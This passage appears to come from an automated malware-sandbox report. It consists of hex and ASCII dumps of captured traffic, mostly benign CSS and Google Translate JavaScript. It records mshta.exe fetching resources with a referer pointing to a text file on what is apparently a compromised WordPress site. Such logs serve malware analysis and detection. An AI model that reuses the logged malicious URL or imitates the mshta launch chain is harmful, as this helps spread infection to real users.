                                                              Data Ascii: em blockquote > a { position: relative; z-index: 2; color: #4e4e4e; text-decoration: none; overflow: hidden; vertical-align: top;}.testimonials .testi-item blockquote > a:hover { color: #fff;}.testimonials .testi-item .featur
                                                              Aug 16, 2022 10:33:06.899137974 CEST420INData Raw: 20 7b 0a 20 20 2e 72 6f 75 6e 64 61 62 6f 75 74 2d 68 6f 6c 64 65 72 20 75 6c 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 35 30 70 78 3b 0a 20 20 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78
                                                              Data Ascii: { .roundabout-holder ul { width: 100%; height: 150px; }}@media (max-width: 480px) { .roundabout-holder ul { height: 120px; }}/* Site Map---------------------------------------- */.site_map { margin-bottom: 10px;}
                                                              Aug 16, 2022 10:33:06.899173021 CEST422INData Raw: 76 65 20 3e 20 61 20 7b 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 64 64 64 64 64 64 3b 0a 7d 0a 2f 2a 20 50 72 69 63 69 6e 67 20 74 61 62 6c 65 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d
                                                              Data Ascii: ve > a { border-color: #dddddd;}/* Pricing table---------------------------------------- */.price-plans { width: 100%; padding: 20px 0;}.price-plans:before,.price-plans:after { display: table; content: ""; line-height: 0;}
                                                              Aug 16, 2022 10:33:07.136125088 CEST424INData Raw: 78 20 31 30 70 78 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 37 34 63 33 63 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 20 23 65 33 33 30 31 65
                                                              Data Ascii: x 10px; background-color: #e74c3c; color: #fff; border-bottom-color: #e3301e;}@media (min-width: 768px) and (max-width: 979px) { .price-plans .plan.highlight h3 { padding: 21px 10px; }}.price-plans .plan.highlight h4 { back


                                                              HTTPS Proxied Packets

                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              0192.168.2.2249178142.250.181.238443C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              2022-08-16 08:33:05 UTC0OUTGET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: translate.google.com
                                                              Connection: Keep-Alive
                                                              2022-08-16 08:33:05 UTC0INHTTP/1.1 200 OK
                                                              Content-Type: text/javascript; charset=utf-8
                                                              Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                              Pragma: no-cache
                                                              Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                              Date: Tue, 16 Aug 2022 08:33:05 GMT
                                                              Cross-Origin-Resource-Policy: cross-origin
                                                              Cross-Origin-Opener-Policy: same-origin-allow-popups
                                                              Server: ESF
                                                              X-XSS-Protection: 0
                                                              X-Frame-Options: SAMEORIGIN
                                                              X-Content-Type-Options: nosniff
                                                              Set-Cookie: CONSENT=PENDING+525; expires=Thu, 15-Aug-2024 08:33:05 GMT; path=/; domain=.google.com; Secure
                                                              P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
                                                              Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                              Accept-Ranges: none
                                                              Vary: Accept-Encoding
                                                              Connection: close
                                                              Transfer-Encoding: chunked
                                                              2022-08-16 08:33:05 UTC1INData Raw: 38 30 30 30 0d 0a 0a 20 20 20 20 2f 2f 20 67 6f 2f 6d 73 73 2d 73 65 74 75 70 23 37 2d 6c 6f 61 64 2d 74 68 65 2d 6a 73 2d 6f 72 2d 63 73 73 2d 66 72 6f 6d 2d 79 6f 75 72 2d 69 6e 69 74 69 61 6c 2d 70 61 67 65 0a 20 20 20 20 69 66 28 21 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 29 20 7b 0a 20 20 20 20 20 20 63 6f 6e 73 74 20 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 20 3d 20 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 20 7c 7c 20 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 65 3b 0a 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 20 3d 20 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 3b 0a 20 20
                                                              Data Ascii: 8000 // go/mss-setup#7-load-the-js-or-css-from-your-initial-page if(!window['_DumpException']) { const _DumpException = window['_DumpException'] || function(e) { throw e; }; window['_DumpException'] = _DumpException;
                                                              2022-08-16 08:33:05 UTC1INData Raw: 54 72 61 63 65 29 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 28 74 68 69 73 2c 5f 2e 62 61 29 3b 65 6c 73 65 7b 76 61 72 20 63 3d 45 72 72 6f 72 28 29 2e 73 74 61 63 6b 3b 63 26 26 28 74 68 69 73 2e 73 74 61 63 6b 3d 63 29 7d 61 26 26 28 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 53 74 72 69 6e 67 28 61 29 29 3b 76 6f 69 64 20 30 21 3d 3d 62 26 26 28 74 68 69 73 2e 63 61 75 73 65 3d 62 29 7d 3b 63 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 5f 2e 71 2e 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 61 3b 7d 2c 30 29 7d 3b 5f 2e 64 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 2e 50 26 26 61 2e 50 28 29 7d 3b 66 61 3d 66 75 6e 63 74 69
                                                              Data Ascii: Trace)Error.captureStackTrace(this,_.ba);else{var c=Error().stack;c&&(this.stack=c)}a&&(this.message=String(a));void 0!==b&&(this.cause=b)};ca=function(a){_.q.setTimeout(function(){throw a;},0)};_.da=function(a){a&&"function"==typeof a.P&&a.P()};fa=functi
                                                              2022-08-16 08:33:05 UTC3INData Raw: 28 29 7b 76 61 72 20 61 3d 5f 2e 71 2e 6e 61 76 69 67 61 74 6f 72 3b 72 65 74 75 72 6e 20 61 26 26 28 61 3d 61 2e 75 73 65 72 41 67 65 6e 74 29 3f 61 3a 22 22 7d 3b 5f 2e 75 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 2d 31 21 3d 5f 2e 44 61 28 29 2e 69 6e 64 65 78 4f 66 28 61 29 7d 3b 0a 5f 2e 45 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 75 28 22 54 72 69 64 65 6e 74 22 29 7c 7c 5f 2e 75 28 22 4d 53 49 45 22 29 7d 3b 5f 2e 46 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 75 28 22 69 50 68 6f 6e 65 22 29 26 26 21 5f 2e 75 28 22 69 50 6f 64 22 29 26 26 21 5f 2e 75 28 22 69 50 61 64 22 29 7d 3b 5f 2e 47 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 46 61 28 29 7c 7c 5f 2e 75 28 22
                                                              Data Ascii: (){var a=_.q.navigator;return a&&(a=a.userAgent)?a:""};_.u=function(a){return-1!=_.Da().indexOf(a)};_.Ea=function(){return _.u("Trident")||_.u("MSIE")};_.Fa=function(){return _.u("iPhone")&&!_.u("iPod")&&!_.u("iPad")};_.Ga=function(){return _.Fa()||_.u("
                                                              2022-08-16 08:33:05 UTC4INData Raw: 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 22 29 3b 7d 3b 53 61 3d 52 61 28 74 68 69 73 29 3b 0a 54 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 29 61 3a 7b
                                                              Data Ascii: ect"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};Sa=Ra(this);Ta=function(a,b){if(b)a:{
                                                              2022-08-16 08:33:05 UTC5INData Raw: 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 72 65 74 75 72 6e 20 62 3f 62 2e 63 61 6c 6c 28 61 29 3a 7b 6e 65 78 74 3a 50 61 28 61 29 7d 7d 3b 5f 2e 57 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 2c 63 3d 5b 5d 3b 21 28 62 3d 61 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 63 2e 70 75 73 68 28 62 2e 76 61 6c 75 65 29 3b 72 65 74 75 72 6e 20 63 7d 3b 58 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 3b 0a
                                                              Data Ascii: mbol.iterator&&a[Symbol.iterator];return b?b.call(a):{next:Pa(a)}};_.Wa=function(a){for(var b,c=[];!(b=a.next()).done;)c.push(b.value);return c};Xa="function"==typeof Object.create?Object.create:function(a){var b=function(){};b.prototype=a;return new b};
                                                              2022-08-16 08:33:05 UTC6INData Raw: 7b 74 68 69 73 2e 6c 28 6d 29 7d 7d 7d 74 68 69 73 2e 67 3d 6e 75 6c 6c 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 74 68 69 73 2e 6a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 67 3b 0a 7d 29 7d 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 74 68 69 73 2e 67 3d 30 3b 74 68 69 73 2e 6a 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 68 3d 5b 5d 3b 74 68 69 73 2e 43 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6c 28 29 3b 74 72 79 7b 67 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 67 28 6d 29 7b 72 65 74 75 72 6e 20 66
                                                              Data Ascii: {this.l(m)}}}this.g=null};b.prototype.l=function(g){this.j(function(){throw g;})};var e=function(g){this.g=0;this.j=void 0;this.h=[];this.C=!1;var k=this.l();try{g(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.l=function(){function g(m){return f
                                                              2022-08-16 08:33:05 UTC8INData Raw: 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 2c 67 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 21 31 2c 21 30 2c 67 29 29 3b 67 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 67 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 6a 3b 72 65 74 75 72 6e 20 6c 28 67 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 49 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 75 6c 6c 21 3d 74 68 69 73 2e 68 29 7b 66 6f 72 28 76 61 72 20 67 3d 30 3b 67 3c 74 68 69 73 2e 68 2e 6c 65 6e 67 74 68 3b 2b 2b 67 29 66 2e 68 28 74 68 69 73 2e 68 5b 67 5d 29 3b 74 68 69 73 2e 68 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6e 61 3d 66 75 6e 63 74 69
                                                              Data Ascii: reateEvent("CustomEvent"),g.initCustomEvent("unhandledrejection",!1,!0,g));g.promise=this;g.reason=this.j;return l(g)};e.prototype.I=function(){if(null!=this.h){for(var g=0;g<this.h.length;++g)f.h(this.h[g]);this.h=null}};var f=new b;e.prototype.na=functi
                                                              2022-08-16 08:33:05 UTC9INData Raw: 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 6a 60 22 2b 63 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 6b 60 22 2b 63 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 54 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 65 62 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 67 3d 30
                                                              Data Ascii: ew TypeError("j`"+c);if(b instanceof RegExp)throw new TypeError("k`"+c);return a+""};Ta("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=eb(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c|0,d.length));for(var g=0
                                                              2022-08-16 08:33:05 UTC10INData Raw: 5b 74 68 69 73 2e 67 5d 3a 76 6f 69 64 20 30 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 63 28 6c 29 26 26 66 62 28 6c 2c 66 29 26 26 66 62 28 6c 5b 66 5d 2c 74 68 69 73 2e 67 29 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 63 28 6c 29 26 26 0a 66 62 28 6c 2c 66 29 26 26 66 62 28 6c 5b 66 5d 2c 74 68 69 73 2e 67 29 3f 64 65 6c 65 74 65 20 6c 5b 66 5d 5b 74 68 69 73 2e 67 5d 3a 21 31 7d 3b 72 65 74 75 72 6e 20 6b 7d 29 3b 0a 54 61 28 22 4d 61 70 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 61 7c 7c 21
                                                              Data Ascii: [this.g]:void 0};k.prototype.has=function(l){return c(l)&&fb(l,f)&&fb(l[f],this.g)};k.prototype.delete=function(l){return c(l)&&fb(l,f)&&fb(l[f],this.g)?delete l[f][this.g]:!1};return k});Ta("Map",function(a){if(function(){if(!a||"function"!=typeof a||!
                                                              2022-08-16 08:33:05 UTC11INData Raw: 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 6b 29 2e 55 61 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 28 6b 3d 64 28 74 68 69 73 2c 6b 29 2e 55 61 29 26 26 6b 2e 76 61 6c 75 65 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 5b 6b 2e 6b 65 79 2c 6b 2e 76 61 6c 75 65 5d 7d 29 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 6b 29
                                                              Data Ascii: .size=0};c.prototype.has=function(k){return!!d(this,k).Ua};c.prototype.get=function(k){return(k=d(this,k).Ua)&&k.value};c.prototype.entries=function(){return e(this,function(k){return[k.key,k.value]})};c.prototype.keys=function(){return e(this,function(k)
                                                              2022-08-16 08:33:05 UTC13INData Raw: 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 65 62 28 74 68 69 73 2c 62 2c 22 65 6e 64 73 57 69 74 68 22 29 3b 76 6f 69 64 20 30 3d 3d 3d 63 26 26 28 63 3d 64 2e 6c 65 6e 67 74 68 29 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 65 3d 62 2e 6c 65 6e 67 74 68 3b 30 3c 65 26 26 30 3c 63 3b 29 69 66 28 64 5b 2d 2d 63 5d 21 3d 62 5b 2d 2d 65 5d 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 20 30 3e 3d 65 7d 7d 29 3b 76 61 72 20 67 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 53 74 72 69 6e 67 26 26 28 61 2b 3d 22 22 29 3b 76 61 72 20 63 3d 30 2c 64 3d 21 31 2c 65 3d 7b 6e 65 78 74 3a 66 75 6e 63 74
                                                              Data Ascii: a?a:function(b,c){var d=eb(this,b,"endsWith");void 0===c&&(c=d.length);c=Math.max(0,Math.min(c|0,d.length));for(var e=b.length;0<e&&0<c;)if(d[--c]!=b[--e])return!1;return 0>=e}});var gb=function(a,b){a instanceof String&&(a+="");var c=0,d=!1,e={next:funct
                                                              2022-08-16 08:33:05 UTC14INData Raw: 69 7a 65 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 75 72 6e 21 31 3b 66 3d 65 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 3d 3d 63 7c 7c 34 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 2e 78 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 3f 21 31 3a 65 2e 6e 65 78 74 28 29 2e 64 6f 6e 65 7d 63 61 74 63 68 28 67 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 74 68 69 73 2e 67 3d 6e 65 77 20 4d 61 70 3b 69 66
                                                              Data Ascii: ize)return!1;var e=d.entries(),f=e.next();if(f.done||f.value[0]!=c||f.value[1]!=c)return!1;f=e.next();return f.done||f.value[0]==c||4!=f.value[0].x||f.value[1]!=f.value[0]?!1:e.next().done}catch(g){return!1}}())return a;var b=function(c){this.g=new Map;if
                                                              2022-08-16 08:33:05 UTC15INData Raw: 66 6f 72 28 64 20 69 6e 20 62 29 66 62 28 62 2c 64 29 26 26 63 2e 70 75 73 68 28 5b 64 2c 62 5b 64 5d 5d 29 3b 72 65 74 75 72 6e 20 63 7d 7d 29 3b 54 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 70 6c 61 63 65 41 6c 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 26 26 21 62 2e 67 6c 6f 62 61 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 6e 22 29 3b 72 65 74 75 72 6e 20 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 3f 74 68 69 73 2e 72 65 70 6c 61 63 65 28 62 2c 63 29 3a 74 68 69 73 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 53 74 72 69 6e 67 28 62
                                                              Data Ascii: for(d in b)fb(b,d)&&c.push([d,b[d]]);return c}});Ta("String.prototype.replaceAll",function(a){return a?a:function(b,c){if(b instanceof RegExp&&!b.global)throw new TypeError("n");return b instanceof RegExp?this.replace(b,c):this.replace(new RegExp(String(b
                                                              2022-08-16 08:33:05 UTC17INData Raw: 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 69 66 28 62 3d 62 5b 61 5b 63 5d 5d 2c 6e 75 6c 6c 3d 3d 62 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 62 7d 3b 5f 2e 6e 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 74 79 70 65 6f 66 20 61 3b 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 21 3d 62 3f 62 3a 61 3f 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 3f 22 61 72 72 61 79 22 3a 62 3a 22 6e 75 6c 6c 22 7d 3b 0a 5f 2e 65 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5f 2e 6e 62 28 61 29 3b 72 65 74 75 72 6e 22 61 72 72 61 79 22 3d 3d 62 7c 7c 22 6f 62 6a 65 63 74 22 3d 3d 62 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 7d 3b 5f 2e 41 61 3d 66 75
                                                              Data Ascii: or(var c=0;c<a.length;c++)if(b=b[a[c]],null==b)return null;return b};_.nb=function(a){var b=typeof a;return"object"!=b?b:a?Array.isArray(a)?"array":b:"null"};_.ea=function(a){var b=_.nb(a);return"array"==b||"object"==b&&"number"==typeof a.length};_.Aa=fu
                                                              2022-08-16 08:33:05 UTC18INData Raw: 5b 64 5d 26 26 63 5b 64 5d 21 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 5b 64 5d 3f 63 3d 63 5b 64 5d 3a 63 3d 63 5b 64 5d 3d 7b 7d 3a 63 5b 64 5d 3d 62 7d 3b 0a 5f 2e 79 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 7d 63 2e 70 72 6f 74 6f 74 79 70 65 3d 62 2e 70 72 6f 74 6f 74 79 70 65 3b 61 2e 47 3d 62 2e 70 72 6f 74 6f 74 79 70 65 3b 61 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 65 77 20 63 3b 61 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 61 3b 61 2e 59 6c 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 29 7b 66 6f 72 28 76 61 72 20 67 3d 41 72 72 61 79 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2d 32 29 2c 6b 3d 32 3b 6b 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6b
                                                              Data Ascii: [d]&&c[d]!==Object.prototype[d]?c=c[d]:c=c[d]={}:c[d]=b};_.y=function(a,b){function c(){}c.prototype=b.prototype;a.G=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.Yl=function(d,e,f){for(var g=Array(arguments.length-2),k=2;k<arguments.length;k
                                                              2022-08-16 08:33:05 UTC19INData Raw: 70 74 22 7d 3b 5f 2e 46 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 42 62 28 29 3b 61 3d 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 28 61 29 3a 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 44 62 28 61 2c 43 62 29 7d 3b 0a 76 61 72 20 47 62 3b 5f 2e 48 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 67 3d 62 3d 3d 3d 47 62 3f 61 3a 22 22 7d 3b 5f 2e 48 62 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 2b 22 22 7d 3b 5f 2e 48 62 2e 70 72 6f 74 6f 74 79 70 65 2e 74 62 3d 21 30 3b 5f 2e 48 62 2e 70 72 6f 74 6f 74 79 70 65 2e 61 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 2e 74 6f 53 74 72 69 6e 67 28 29 7d 3b 5f
                                                              Data Ascii: pt"};_.Fb=function(a){var b=Bb();a=b?b.createScript(a):a;return new Db(a,Cb)};var Gb;_.Hb=function(a,b){this.g=b===Gb?a:""};_.Hb.prototype.toString=function(){return this.g+""};_.Hb.prototype.tb=!0;_.Hb.prototype.ab=function(){return this.g.toString()};_
                                                              2022-08-16 08:33:05 UTC20INData Raw: 66 61 69 6c 75 72 65 73 3a 20 22 2b 61 29 2c 30 29 3b 74 68 69 73 2e 6c 2e 6c 65 6e 67 74 68 3d 30 3b 74 68 69 73 2e 6a 2e 6c 65 6e 67 74 68 3d 30 7d 3b 76 61 72 20 4f 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 5b 5d 2c 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 74 72 79 7b 61 5b 64 5d 2e 6a 28 62 29 7d 63 61 74 63 68 28 65 29 7b 63 61 28 65 29 2c 63 2e 70 75 73 68 28 65 29 7d 61 2e 6c 65 6e 67 74 68 3d 30 3b 72 65 74 75 72 6e 20 63 2e 6c 65 6e 67 74 68 3f 63 3a 6e 75 6c 6c 7d 3b 4d 62 2e 70 72 6f 74 6f 74 79 70 65 2e 4c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 4d 62 2e 47 2e 4c 2e 63 61 6c 6c 28 74 68 69 73 29 3b 5f 2e 64 61 28 74 68 69 73 2e 67 29 7d 3b 0a 76 61 72 20 50 62 3d 66 75 6e 63 74 69 